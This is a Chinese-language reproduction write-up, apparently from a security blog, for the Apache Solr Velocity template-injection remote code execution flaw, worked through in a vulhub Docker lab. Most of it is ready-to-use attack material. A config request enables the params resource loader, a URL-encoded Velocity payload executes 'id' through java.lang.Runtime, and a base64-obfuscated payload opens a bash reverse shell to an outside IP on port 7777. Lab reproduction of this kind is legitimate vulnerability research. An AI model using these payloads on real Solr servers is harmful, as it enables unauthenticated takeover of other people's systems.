漏洞简介

Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器。Apache Velocity是一个提供HTML页面模板、email模板和通用开源代码生成器模板的模板引擎。在Apache Solr 的多个版本中,Apache Solr的VelocityResponseWriter功能的配置参数可通过HTTP请求指定,导致用户可通过设置特定参数后,通过注入任意Velocity模板造成任意命令执行。

漏洞影响

version > 5的版本都受影响。经测试6.2.1,7.3.1,7.4.0,以及最新版8.2.0均存在此漏洞。其他版本暂未测试.

漏洞复现

想要利用此漏洞,其中solrconfig.xml配置文件至少需要以下内容

在满足以上环境条件的情况下,利用此漏洞分两步骤。先通过一个HTTP请求将params.resource.loader.enabled这个关键的参数设置true,这样就能允许任意的模板代码从用户的HTTP请求中指定。然后再通过指定任意Velocity模板代码执行任意命令。由于Solr默认未开启认证,在这种情况下,此漏洞利用不需要登录凭据。

注意在利用的时候我们需要合集的路径,这个可以通过

1
可以通过接口 curl http://your-ip:8983/solr/admin/cores 来获取所有 core 信息

这里使用vulhub,在其中创建一个合集后直接复现

启动环境
1
docker-compose up -d

创建一个合集
1
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

开启params.resource.loader.enabled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /solr/创建的集合/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}

命令执行
1
2
GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost:8983

反弹shell
1
http://192.168.99.75:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xNzMvNzc3NyAwPiYx%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

参考链接
Apache Solr模板注入远程代码执行漏洞安全预警通告
Apache Solr远程命令执行复现